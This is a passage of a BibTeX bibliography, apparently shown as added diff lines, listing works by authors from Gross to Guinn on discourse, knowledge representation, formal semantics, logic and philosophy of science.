Dictionary + Strategies}, + institution = {Cognitive Science Laboratory, Princeton University}, + number = {CSL Report 39}, + year = {1989}, + address = {Princeton, New Jersey}, + topic = {word-learning;} + } + +@book{ gross_pr-levitt_n:1994a, + author = {Paul R. Gross and Norman Levitt}, + title = {Higher Superstition: The Academic Left and + Its Quarrels with Science}, + publisher = {Johns Hopkins Press}, + year = {1994}, + address = {Baltimore}, + ISBN = {0801847664 (alk. paper)}, + topic = {academic-politics;science-and-contemporary-culture; + social-constructivism;} + } + +@book{ gross_pr-etal:1996a, + editor = {Paul R. Gross and Norman Levitt and Martin W. Lewis}, + title = {The Flight from Science and Reason}, + publisher = {The New York Academy of Sciences}, + year = {1996}, + address = {New York}, + ISBN = {1573310026}, + topic = {creationism;fundamentalism;} + } + +@incollection{ grosse:1994a, + author = {Gerd Grosse}, + title = {Propositional State Event Logic}, + booktitle = {Logics in Artificial Intelligence}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Craig Mac{N}ish and Lu\'is Moniz Pereira and David Pearce}, + address = {Berlin}, + missinginfo = {pages}, + topic = {concurrent-actions;action-effects;causality;modal-logic;} + } + +@incollection{ grossof:1991a, + author = {Benjamin N. Grosof}, + title = {Generalizing Prioritization}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {289--300}, + address = {San Mateo, California}, + topic = {kr;circumscription;nonmonotonic-prioritization;kr-course;} + } + +@article{ grosu:1973a, + author = {Alexander Grosu}, + title = {A Note on Implicatures, Invited Inferences, and Syntactic Form}, + journal = {Die {S}prache}, + year = {1973}, + volume = {1973}, + pages = {59--61}, + missinginfo = {number}, + topic = {implicature;pragmatics;} + } + +@article{ grosu-landman:1998a, + author = {Alexander Grosu and Fred Landman}, + title = {Strange Relatives of the Third Kind}, + journal = {Natural Language Semantics}, + year = {1998}, + volume = {6}, + number = {2}, + pages = {125--170}, + topic = {relative-clauses;nl-semantics;comparative-constructions; + measurement-theory;} + } + +@techreport{ grosz:1977a, + author = {Barbara J. Grosz}, + title = {The Representation and Use of Focus in Dialogue + Understanding}, + institution = {SRI International}, + number = {Technical Note 151}, + year = {1977}, + address = {Menlo Park, California}, + topic = {discourse;discourse-referents;} + } + +@incollection{ grosz:1978a, + author = {Barbara J. Grosz}, + title = {Discourse}, + booktitle = {Understanding Spoken Language}, + publisher = {North-Holland}, + year = {1978}, + editor = {Donald E. Walker}, + pages = {229--234}, + address = {Amsterdam}, + topic = {computational-dialogue;focus;} + } + +@incollection{ grosz:1978b, + author = {Barbara J. Grosz}, + title = {Discourse Analysis}, + booktitle = {Understanding Spoken Language}, + publisher = {North-Holland}, + year = {1978}, + editor = {Donald E. Walker}, + pages = {235--268 } , + address = {Amsterdam}, + topic = {computational-dialogue;focus;} + } + +@incollection{ grosz:1978c, + author = {Barbara J. Grosz}, + title = {Focus Spaces: A Representation of + the Focus of Attention of a Dialog}, + booktitle = {Understanding Spoken Language}, + publisher = {North-Holland}, + year = {1978}, + editor = {Donald E. Walker}, + pages = {269--285}, + address = {Amsterdam}, + topic = {computational-dialogue;focus;} + } + +@incollection{ grosz:1978d, + author = {Barbara J. Grosz}, + title = {Resolving Definite Noun Phrases}, + booktitle = {Understanding Spoken Language}, + publisher = {North-Holland}, + year = {1978}, + editor = {Donald E. Walker}, + pages = {287--298}, + address = {Amsterdam}, + topic = {computational-dialogue;reference-resolution;} + } + +@incollection{ grosz:1978e, + author = {Barbara J. Grosz}, + title = {Shifting Focus}, + booktitle = {Understanding Spoken Language}, + publisher = {North-Holland}, + year = {1978}, + editor = {Donald E. Walker}, + pages = {299--314}, + address = {Amsterdam}, + topic = {computational-dialogue;focus;} + } + +@incollection{ grosz:1978f, + author = {Barbara J. Grosz}, + title = {Ellipsis}, + booktitle = {Understanding Spoken Language}, + publisher = {North-Holland}, + year = {1978}, + editor = {Donald E. Walker}, + pages = {315--337}, + address = {Amsterdam}, + topic = {computational-dialogue;ellipsis;} + } + +@incollection{ grosz:1978g, + author = {Barbara J. Grosz}, + title = {Discourse: Recapitulation and a Look Ahead}, + booktitle = {Understanding Spoken Language}, + publisher = {North-Holland}, + year = {1978}, + editor = {Donald E. Walker}, + pages = {339--344}, + address = {Amsterdam}, + topic = {computational-dialogue;} + } + +@article{ grosz:1982a, + author = {Barbara J. Grosz}, + title = {Natural Language Processing}, + journal = {Artificial Intelligence}, + year = {1982}, + volume = {19}, + number = {2}, + pages = {131--136}, + topic = {nl-processing;} + } + +@inproceedings{ grosz-etal:1982a, + author = {Barbara Grosz and Norman Haas and Gary Hendrix and Jerry + Hobbs and Paul Martin and Robert Moore and Jane Robinson and + Stanley Rosenschein}, + title = {{DIALOGIC:} A Core Natural-Language Processing System}, + booktitle = {COLING 82}, + year = {1982}, + editor = {J. Horeck\'y}, + pages = {95--100}, + publisher = {North-Holland Publishing Company}, + address = {Amsterdam}, + missinginfo = {E's 1st name, Full Proceedings Title}, + topic = {nl-interpretation;} + } + +@inproceedings{ grosz-etal:1983a, + author = {Barbara J. Grosz and Arivind K. Joshi and Scott Weinstein}, + title = {Providing a Unified Account of Definite Noun Phrases in + Discourse}, + booktitle = {Proceedings of the Twenty-First Annual Meeting of the + Association for Computational Linguistics}, + year = {1983}, + pages = {44--50}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + missinginfo = {address, editor}, + contentnote = {This is the original paper on centering theory.}, + xref = {Revised, extended version of centering: grosz-etal:1995a.}, + topic = {definiteness;discourse;centering;anaphora;pragmatics;} + } + +@article{ grosz:1985a, + author = {Barbara J. Grosz}, + title = {Natural-Language Processing}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {25}, + number = {1}, + pages = {1--4}, + topic = {nl-processing;} + } + +@book{ grosz-etal:1986a, + editor = {Barbara G. Grosz and Karen Sparck-Jones and Bonnie L. Webber}, + title = {Readings in Natural Language Processing}, + publisher = {Morgan Kaufmann}, + year = {1986}, + address = {Los Altos, California}, + ISBN = {0934613117}, + topic = {nlp-intro;nlp-survey;} + } + +@article{ grosz-sidner_cl:1986a, + author = {Barbara J. Grosz and Candice L. Sidner}, + title = {Attention, Intentions, and the Structure of Discourse}, + journal = {Computational Linguistics}, + year = {1986}, + volume = {12}, + pages = {175--204}, + missinginfo = {number}, + topic = {discourse;discourse-intentions;nl-interpretation; + pragmatics;} + } + +@article{ grosz-etal:1987a, + author = {Barbara J. Grosz and Douglas E. Appelt and Paul A. + Martin and Fernando C.N. Pereira}, + title = {{TEAM}: An Experiment in the Design of Transportable + Natural-Language Interfaces}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {32}, + number = {2}, + pages = {173--243}, + topic = {nl-interfaces;} + } + +@unpublished{ grosz-sidner_cl:1988a, + author = {Barbara J. Grosz and Candace L. Sidner}, + title = {Distributed Know-How and Active: Research on + Collaborative Planning}, + year = {1988}, + note = {Unpublished manuscript, Harvard University}, + topic = {sharedplans;collaboration;} + } + +@incollection{ grosz-etal:1989a, + author = {Barbara J. Grosz and Martha E. Pollack and Candace L. Sidner}, + title = {Discourse}, + booktitle = {Foundations of Cognitive Science}, + publisher = {The {MIT} Press}, + year = {1989}, + editor = {Michael I. Posner}, + chapter = {11}, + pages = {437--468}, + address = {Cambridge, Massachusetts}, + topic = {discourse-survey;} + } + +@incollection{ grosz-sidner_cl:1990a, + author = {Barbara J. Grosz and Candace L. Sidner}, + title = {Plans for Discourse}, + booktitle = {Intentions in Plans and Communication}, + editor = {Philip Cohen and Jerry Morgan and Martha Pollack}, + year = {1990}, + publisher = {MIT Press}, + pages = {417--444}, + address = {Cambridge, Massachusetts}, + topic = {discourse-planning;group-planning;group-plans; + plan-recognition;discourse;pragmatics;} + } + +@inproceedings{ grosz-kraus:1993a, + author = {Barbara J. Grosz and Sarit Kraus}, + title = {Collaborative Plans for Group Activities}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + pages = {367--373}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + missinginfo = {editor}, + topic = {planning;group-plans;} + } + +@incollection{ grosz:1994a, + author = {Barbara Grosz}, + title = {Utterance and Objective: Issues in Natural Language + Computation}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {21--39}, + address = {Pisa and Dordrecht}, + topic = {nlp-survey;discourse;} + } + +@inproceedings{ grosz:1995a, + author = {Barbara Grosz}, + title = {Essential Ambiguity: The Role of Context in + Natural-Language Processing}, + booktitle = {Formalizing Context}, + year = {1995}, + editor = {Sasa Buva\v{c}}, + pages = {1}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + note = {Abstract.}, + topic = {context;ambiguity;} + } + +@article{ grosz-etal:1995a, + author = {Barbara J. Grosz and Arivind Joshi and Scott Weinstein}, + title = {Centering: A Framework for Modeling the Local Coherence of + Discourse}, + journal = {Computational Linguistics}, + year = {1995}, + volume = {21}, + number = {2}, + pages = {227--253}, + xref = {Original centering paper: grosz-etal:1983a.}, + topic = {anaphora;discourse-coherence;discourse; + anaphora-resolution;centering;pragmatics;} + } + +@techreport{ grosz-kraus:1995a1, + author = {Barbara J. Grosz and Sarit Kraus}, + title = {Collaborative Plans for Complex Group Action}, + institution = {Center for Research in Computing Technology, + Harvard University}, + number = {TR--20--95}, + year = {1995}, + address = {Cambridge, Massachusetts}, + xref = {Journal publication: kraus:1995a2.}, + topic = {sharedplans;} + } + +@article{ grosz-kraus:1995a2, + author = {Barbara J. Grosz and Sarit Kraus}, + title = {Collaborative Plans for Complex Group Action}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {86}, + number = {2}, + pages = {269--357}, + topic = {sharedplans;} + } + +@incollection{ grosz-sidner_cl:1997a, + author = {Barbara J. Grosz and Candace L. Sidner}, + title = {Lost Intuitions and Forgotten Intentions}, + booktitle = {Centering Theory in Discourse}, + publisher = {Oxford University Press}, + year = {1997}, + editor = {Marilyn A. Walker and Arivind K. Joshi and Ellen Prince}, + pages = {39--51}, + address = {Oxford}, + contentnote = {This is a survey of work in centering theory; the + title refers to the original intuitions and intentions + behind the theory.}, + topic = {anaphora-resolution;discourse;pragmatics;centering;} + } + +@incollection{ grosz-ziv:1997a, + author = {Barbara J. Grosz and Yale Ziv}, + title = {Centering, Global Focus, and Right Dislocation}, + booktitle = {Centering Theory in Discourse}, + publisher = {Oxford University Press}, + year = {1997}, + editor = {Marilyn A. Walker and Arivind K. Joshi and Ellen Prince}, + pages = {293--307}, + address = {Oxford}, + topic = {anaphora-resolution;discourse;pragmatics;centering;} + } + +@article{ grosz-etal:1999a, + author = {Barbara Grosz and Luke Hunsberger and Sarit Kraus}, + title = {Planning and Acting Together}, + journal = {The {AI} Magazine}, + year = {1999}, + volume = {20}, + number = {4}, + pages = {23--34}, + topic = {sharedplans;multiagent-planning;} + } + +@article{ grosz-gordon_pc:1999a, + author = {Barbara Grosz and Peter C. Gordon}, + title = {Conceptions of Limited Attention and Discouse + Focus}, + journal = {Computational Linguistics}, + year = {1999}, + volume = {25}, + number = {4}, + pages = {617--624}, + topic = {attention;attentional-state;discourse-focus;} + } + +@incollection{ grote:1998a, + author = {Brigitte Grote}, + title = {Representing Temporal Discourse Markers + for Generation Purposes}, + booktitle = {Discourse Relations and Discourse Markers: Proceedings + of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Manfred Stede and Leo Wanner and Eduard Hovy}, + pages = {28--35}, + address = {Somerset, New Jersey}, + topic = {discourse-cue-words;discourse-structure;nl-generation;} + } + +@incollection{ grote-stede:1998a, + author = {Brigitte Grote and Manfred Stede}, + title = {Discourse Marker Choice in Sentence Planning}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {128--137}, + address = {New Brunswick, New Jersey}, + topic = {nl-generation;discourse-cue-words;} + } + +@article{ grove:1988a, + author = {Adam Grove}, + title = {Two Modelings for Theory Change}, + journal = {Journal of Philosophical Logic}, + year = {1988}, + volume = {17}, + pages = {157--170}, + contentnote = {Semantics for AGM.}, + missinginfo = {number}, + topic = {belief-revision;} + } + +@incollection{ grove-halpern:1991a, + author = {Adam J. Grove and Joseph Y. Halpern}, + title = {Naming and Identity in a Multi-Agent Epistemic Logic}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {301--312}, + address = {San Mateo, California}, + topic = {kr;kr-course;epistemic-logic;individuation; + quantification-in-modality;} + } + +@incollection{ grove:1992a, + author = {Adam J. Grove}, + title = {Semantics for Knowledge and Communication}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {213--224}, + address = {San Mateo, California}, + topic = {multiagent-systems;epistemic-logic;communication-protocols;} + } + +@article{ grove-etal:1994a, + author = {Adam J. Grove and Joseph Y. Halpern and Daphne Koller}, + title = {Random Worlds and Maximum Entropy}, + journal = {Journal of Artificial Intelligence Research}, + year = {1994}, + volume = {2}, + pages = {33--88}, + contentnote = {Discusses the random-worlds method for computing a + degree of belief in Phi given KB. In monadic case + there is a natural association of an entropy with + each world. As N grows larger, there are many more worlds + with higher entropy. So use a maximum-entropy computation to + compute the degree of belief. The methods don't appear to + generalize to the relational case.}, + topic = {world-entropy;probabilistic-reasoning;} + } + +@article{ grove:1995a, + author = {Adam J. Grove}, + title = {Naming and Identity in Epistemic Logic Part {II}: A + First-Order Logic for Naming}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {74}, + number = {2}, + pages = {311--350}, + topic = {quantifying-in-modality;} + } + +@unpublished{ grove-halpern:1995a, + author = {Adam J. Grove and Joseph Y. Halpern}, + title = {On the Expected Value of Games With Absentmindedness}, + year = {1995}, + note = {Unpublished manuscript, {NEC}.}, + topic = {game-theory;epistemic-logic;reasoning-about-knowledge;} + } + +@article{ grove-etal:1996a, + author = {Adam J. Grove and Joseph Y. Halpern and Daphne Koller}, + title = {Asymptotic Conditional Probabilities: The Non-Unary Case}, + journal = {The Journal of Symbolic Logic}, + year = {1996}, + volume = {61}, + number = {1}, + pages = {250--39}, + topic = {probabilistic-algorithms;complexity;} + } + +@article{ grover:1972a, + author = {Dorothy Grover}, + title = {Propositional Quantifiers}, + journal = {Journal of Philosophical Logic}, + year = {1972}, + volume = {1}, + number = {2}, + pages = {111--136}, + topic = {propositional-quantifiers;} + } + +@phdthesis{ gruber_js:1965a1, + author = {Jeffrey S. Gruber}, + title = {Studies in Lexical Relations}, + school = {{MIT}}, + year = {1965}, + address = {Cambridge, Massachusetts}, + xref = {Republication: gruber:1965a2.}, + topic = {thematic-roles;lexical-semantics;} + } + +@book{ gruber_js:1965a2, + author = {Jeffrey S. Gruber}, + title = {Studies in Lexical Relations}, + publisher = {North-Holland}, + year = {1976}, + address = {Amsterdam}, + xref = {Originally published in 1965 as an {MIT} dissertation: gruber:1965a1.}, + topic = {thematic-roles;lexical-semantics;} + } + +@techreport{ gruber_js:1967a, + author = {Jeffrey S. Gruber}, + title = {Functions of the Lexicon in Formal Descriptive Grammars}, + institution = {System Development Corporation}, + year = {1967}, + address = {Santa Monica, California}, + topic = {lexical-semantics;} + } + +@book{ gruber_js:1976a, + author = {Jeffrey S. Gruber}, + title = {Lexical Structures in Syntax and Semantics}, + publisher = {North-Holland Publishing Co.}, + year = {1976}, + address = {Amsterdam}, + ISBN = {0444110585 (American Elsevier)}, + topic = {lexicon;lexical-semantics;} + } + +@incollection{ gruber_tr:1991a, + author = {Thomas R. Gruber}, + title = {The Role of Common Ontology in Achieving Sharable, + Reusable Knowledge Bases}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {601--602}, + address = {San Mateo, California}, + contentnote = {This is a position statement, prepared in connection + with a conference panel. There is a brief bibliography.}, + topic = {kr;kr-course;knowledge-sharing;computational-ontology;} + } + +@incollection{ gruber_tr-olsen:1994a, + author = {Thomas R. Gruber and Gregory R. Olsen}, + title = {An Ontology for Engineering Mathematics}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {258--269}, + address = {San Francisco, California}, + topic = {kr;computational-ontology;kr-course;} + } + +@article{ grunbaum:1960a, + author = {Adolf Gr\"unbaum}, + title = {The Duhemian Argument}, + journal = {Philosophy of Science}, + year = {1960}, + volume = {27}, + number = {1}, + pages = {75--87}, + topic = {philosophy-of-science;falsifiability;} + } + +@incollection{ grunbaum:1972a, + author = {Adolf Gr\"unbaum}, + title = {Free Will and Laws of Human Behavior}, + booktitle = {New Readings in Philosophical Analysis}, + publisher = {Appleton-Century-Crofts}, + year = {1972}, + editor = {Herbert Feigl and Wilfrid Sellars and Keith Lehrer}, + pages = {605--627}, + address = {New York}, + topic = {freedom;volition;} + } + +@incollection{ grunbaum:1977a, + author = {Adolf Gr\"unbaum}, + title = {Absolute and Relational Theories of Space and Space-Time}, + booktitle = {Foundations of Space-Time Theories}, + publisher = {University of Minnesota Press}, + year = {1977}, + editor = {John Earman and Clark Glymour and John J. Stachel}, + pages = {303--373}, + address = {Minneapolis}, + topic = {philosophy-of-physics;philosophy-of-space;philosophy-of-time;} + } + +@article{ grunbaum:1977b, + author = {Adolf Gr\"unbaum}, + title = {Is There Backwards Causation in Classical Electrodynamics?}, + journal = {Journal of Philosophy}, + year = {1977}, + volume = {74}, + pages = {475--482}, + missinginfo = {number}, + topic = {causality;philosophy-of-physics;} + } + +@article{ grunbaum:1978a, + author = {Adolf Gr\"unbaum}, + title = {Can the Effect Precede Its Cause in Classical + Electrodynamics?}, + journal = {American Journal of Physics}, + year = {1987}, + volume = {46}, + number = {4}, + pages = {337--341}, + topic = {causality;philosophy-of-physics;} + } + +@incollection{ grunwald:1997a, + author = {P. Gr\"unwald}, + title = {Causation and Nonmonotonic Temporal Reasoning}, + booktitle = {{KI}-97: Advances in Artificial Intelligence}, + publisher = {Springer-Verlag}, + year = {1997}, + editor = {Gerhard Brewka and Christopher Habel and Bernhard Nebel}, + pages = {159--170}, + address = {Berlin}, + missinginfo = {A's 1st name}, + topic = {causality;nonmonotonic-logic;} + } + +@article{ gryzmalabusse:1999a, + author = {Jerzy W. Gryzmala-Busse}, + title = {Review of {\it Representing and Reasoning with Probabilistic + Knowledge}, by {F}ahiem {B}acchus}, + journal = {Journal of Symbolic Logic}, + year = {1999}, + volume = {64}, + number = {4}, + pages = {1837}, + xref = {Review of bacchus:1990a.}, + topic = {probabilistic-reasoning;reasoning-about-uncertainty;} + } + +@article{ grzegorczyk:1968a, + author = {Andrezej Grzegorczyk}, + title = {Assertions Depending on Time and Corresponding on Time + and Corresponding Logical Calculi}, + journal = {Composition Mathematica}, + year = {1968}, + volume = {20}, + pages = {83--87}, + topic = {temporal-logic;} + } + +@article{ gu:1992a, + author = {J. Gu}, + title = {Efficient Local Search of Very Large-Scale Satisfiability + Problems}, + journal = {{SIGART} Bulletin}, + year = {1992}, + volume = {3}, + number = {1}, + pages = {8--12}, + topic = {experiments-on-theorem-proving-algs;} + } + +@article{ gu:1992b, + author = {J. Gu}, + title = {Local Search for Satisfiability (SAT) Problem}, + journal = {{IEEE} Transactions on Systems, man, and Cybernetics}, + year = {1992}, + volume = {28}, + number = {4}, + pages = {1108--1128}, + topic = {experiments-on-theorem-proving-algs;} + } + +@article{ guan-bell:1998a, + author = {J.W. Guan abd D.A. Bell}, + title = {Rough Computational Methods for Information Systems}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {105}, + number = {1--2}, + pages = {77--103}, + contentnote = {This paper uses a technique called "rough set theory" + See pawlak-etal:1995a and pawlak:1991a.}, + topic = {kr;vagueness;krcourse;databases;} + } + +@article{ guarini:2000a, + author = {Marcello Guarini}, + title = {Horgan and {T}ienson on Ceteris Paribus Laws}, + journal = {Philosophy of Science}, + year = {2000}, + volume = {67}, + number = {2}, + pages = {301--315}, + topic = {natural-laws;ceteris-paribus-generalizations;} + } + +@inproceedings{ guarino:1992a, + author = {Nicola Guarino}, + title = {Kinds of Relations: Some Methodological Principles for + Using Description Logics}, + booktitle = {Working Notes, {AAAI} Fall Symposium on Issues in Description + Logics: Users Meet Developers}, + year = {1992}, + editor = {Robert MacGregor}, + pages = {39--44}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {kr;krcourse;computational-ontology;taxonomic-logics;} + } + +@incollection{ guarino-carrara:1994a, + author = {Nicola Guarino and Massimiliano Carrara and Pierdaniele + Giaretta}, + title = {An Ontology of Meta-Level Categories}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {270--280}, + address = {San Francisco, California}, + topic = {kr;computational-ontology;kr-course;} + } + +@article{ guelev:1999a, + author = {Dimitar P. Guelev}, + title = {A Propositional Dynamic Logic with Qualitative + Probabilities}, + journal = {Journal of Philosophical Logic}, + year = {1999}, + volume = {28}, + number = {6}, + pages = {575--605}, + topic = {dynamic-logic;qualitative-probability;} + } + +@article{ guenthner:1977a, + author = {Franz Guenthner}, + title = {Review of {\it Logics and Language}, by {F}ranz + {G}uenthner}, + journal = {Studies in Language}, + year = {1977}, + volume = {1}, + number = {3}, + pages = {437--453}, + xref = {Review of cresswell_mj:1973a.}, + topic = {nl-semantics;pragmatics;speech-acts;pragmatics; + categorial-grammar;} + } + +@incollection{ guenthner:1978a, + author = {Franz Guenthner}, + title = {Time Schemes, Tense Logic and the Analysis of {E}nglish + Tenses}, + booktitle = {Formal Semantics and Pragmatics for Natural Languages}, + publisher = {D. Reidel Publishing Co.}, + year = {1978}, + editor = {Franz Guenthner and S.J. Schmidt}, + pages = {201--222}, + address = {Dordrecht}, + topic = {nl-semantics;temporal-logic;} + } + +@book{ guenthner-guenthnerreutter:1978a, + editor = {Franz Guenthner and Monica Guenthner-Reutter}, + title = {Meaning and Translation: Philosophical and Logical + Approaches}, + publisher = {New York University Press}, + year = {1978}, + address = {New York}, + contentnote = {`Translation' is in the title because the editors + thought that this had something to do with refuting Quine on + inteterminacy of translation. It does have to do with + translation of NL to LF, but little to do with NL to NL + translation. Contains papers by Cresswell; Tymoczko; + Wallace; Putnam; Wheeler; NL Wilson; Bigelow; Burge; Keenan; + Katz; Givon; Kamp; Cooper; Aqvist-Guenthner.}, + topic = {nl-semantics;syntax-semantics-interface;} + } + +@book{ guenthner-rohrer:1978a, + editor = {Franz Guenthner and Christian Rohrer}, + title = {Studies in Formal Semantics: Intensionality, Temporality, + Negation}, + publisher = {North-Holland Publishing Co}, + year = {1978}, + address = {Amsterdam}, + ISBN = {0720405084}, + topic = {nl-semantics;} + } + +@book{ guenthner-schmidt:1978a, + editor = {Franz Guenthner and S.J. Schmidt}, + title = {Formal Semantics and Pragmatics for Natural Languages}, + publisher = {D. Reidel Publishing Co.}, + year = {1978}, + address = {Dordrecht}, + contentnote = {TC: Hintikka-Carlson, Conditionals, Generic Quantifiers, and + Other Applications of Subgames. + Smaby, Ambiguous Coreference With Quantifiers. + Keenan, Negative Coreference: Generalizing Quantification + for Natural Language + Reinhardt, Syntactic Domains for Semantic Rules + Cooper, Variable Binding for Relative Clauses + Cresswell, Adverbs of Space and Time + Aqvist, A System of Chronological Tense Logic + Kamp, Semantics Versus Pragmatics + Petofi, Structure and Function of the Grammatical + Component of the Text-Structure World-Structure + Theory + Hausser-Zaefferer, Questions and Answers in a + Context-Dependent Montague Grammar + Kindt, THe Introduction of Truth Predicates Into + First-Order Languages}, + topic = {nl-semantics;} + } + +@incollection{ guenthner_f-rohrer:1978a, + author = {Franz Guenthner and Christian Rohrer}, + title = {Introduction: Formal Semantics, Logic and Linguistics}, + booktitle = {Studies in Formal Semantics}, + publisher = {North-Holland Publishing Company}, + year = {1978}, + editor = {Franz Guenthner and Christian Rohrer}, + pages = {1--10}, + address = {Amsterdam}, + topic = {nl-semantics;} + } + +@incollection{ guenthner_f:1989a, + author = {Franz Guenthner}, + title = {Discourse: Understanding in Context}, + booktitle = {Logic and Linguistics}, + publisher = {Lawrence Earlbaum Associates}, + year = {1989}, + editor = {Helmut Schnelle and Niels Ole Bernsen}, + pages = {127--142}, + address = {Hillsdale, New Jersey}, + topic = {doscourse;speech-acts;context;} + } + +@inproceedings{ guerreiro-etal:1990a, + author = {Ramiro {A}. {d}e {T.} Guerreiro and Andrea Hemerly and + Yoav Shoham}, + title = {On the Complexity of Monotonic Inheritance With Roles}, + booktitle = {Proceedings of the Ninth National Conference on + Artificial Intelligence}, + year = {1990}, + editor = {Thomas Dean and Kathleen R. McKeown}, + publisher = {{MIT} Press}, + address = {Cambridge, Massachusetts}, + pages = {627--632}, + topic = {inheritance-theory;kr-complexity-analysis;inheritance-roles;} + } + +@article{ guerts:1996b, + author = {Bart Guerts}, + title = {Review of {\em Memory and Context for Language + Interpretaion}, by {H}iyan {A}lshawi}, + journal = {Journal of Semantics}, + year = {1996}, + volume = {6}, + pages = {95--98}, + topic = {memory-models;memory;context;nl-interpretation;} + } + +@book{ guerts:1999a, + author = {Bart Guerts}, + title = {Presuppositions and Pronouns}, + publisher = {Elservier}, + year = {1999}, + address = {Amsterdam}, + ISBN = {0-08-043592-0}, + topic = {presuppositions;dynamic-semantics;binding-theory; + pronouns;anaphora;propositional-attitudes;} + } + +@article{ guerts:2000a, + author = {Bart Guerts}, + title = {Review of {\it Investigations into Universal Grammar: + A Guide to Experiments on the Acquisition of Syntax}, by + Stephen Crain and Rosalind Thornton}, + journal = {Linguistics and Philosophy}, + year = {2000}, + volume = {23}, + number = {5}, + pages = {523--532}, + xref = {Review of: crain-thornton:1998a}, + topic = {L1-acquisition;} + } + +@article{ guerts:2002a, + author = {Bart Guerts}, + title = {Donkey Business}, + journal = {Linguistics and Philosophy}, + year = {2002}, + volume = {25}, + number = {2}, + pages = {129--156}, + topic = {donkey-anaphora;semantic-processing;world-knowledge;} + } + +@techreport{ guha:1990a, + author = {Ramanathan Guha}, + title = {The Representation of Defaults in {CYC}}, + institution = {MCC}, + number = {ACT--CYC--083--90}, + year = {1990}, + address = {Austin, TX}, + missinginfo = {Published in a conference + proceedings. AAAI? Get reference.}, + topic = {applied-nonmonotonic-reasoning;inheritance-theory;} + } + +@techreport{ guha:1991a, + author = {Ramanathan V. Guha}, + title = {Contexts: a Formalization and Some Applications}, + institution = {Stanford Computer Science Department}, + number = {STAN-CS-91-1399}, + year = {1991}, + address = {Stanford, California}, + topic = {kr;context;context;kr-course;contextual-reasoning; + logic-of-context;} + } + +@article{ guha-lenat:1992a, + author = {Ramanathan Guha and Douglas Lenat}, + title = {Language, Representation and Contexts}, + journal = {Journal of Information Processing}, + year = {1992}, + volume = {15}, + number = {3}, + pages = {340--349}, + topic = {context;} + } + +@inproceedings{ guha:1995a, + author = {Ramanathan Guha}, + title = {Mechanisms in Implemented {KR} Systems}, + booktitle = {Formalizing Context}, + year = {1995}, + editor = {Sasa Buva\v{c}}, + pages = {2}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + note = {Abstract.}, + topic = {context;} + } + +@article{ guijarroberdinas-etal:2002a, + author = {Bertha Guijarro-Berdi\~nas and Amparo Alonso-Betanzos and + Oscar Fontenla-Romero}, + title = {Intelligent Analysis and Pattern Recognition in Cardiographic + Signals using a Tightly Coupled Hybrid System}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {136}, + number = {1}, + pages = {1--27}, + topic = {diagnosis;pattern-recognition;connectionist-modeling;} + } + +@inproceedings{ guillen:1997a, + author = {Rocio Guillen}, + title = {Using Context in Aspectual Processing}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Context in Knowledge Representation and Natural Language}, + year = {1997}, + editor = {Sasa Buva\v{c} and {\L}ucia Iwa\'nska}, + pages = {65--70}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {context;} + } + +@book{ guindon:1988a, + editor = {Raymonde Guindon}, + title = {Cognitive Science and Its Applications for Human-Computer + Interaction}, + publisher = {Lawrence Erlbaum Associates}, + year = {1988}, + address = {Hillsdale, New Jersey}, + ISBN = {0898598842}, + topic = {HCI;} + } + +@phdthesis{ guinn:1995a, + author = {Curry I. Guinn}, + title = {Meta-Dialogue Behaviors: Improving the Efficiency of + Human-Machine Dialogue}, + school = {Department of Computer Science, Duke University}, + year = {1985}, + type = {Ph.{D}. Dissertation}, + address = {Durham, North Carolina}, + topic = {computational-dialogue;} + } + +@inproceedings{ guinn:1996a, + author = {Curry I. Guinn}, + title = {Mechanisms for Mixed-Initiative Human-Computer + Collaborative Discourse}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {278--285}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {discourse;discourse-simulation;pragmatics;} 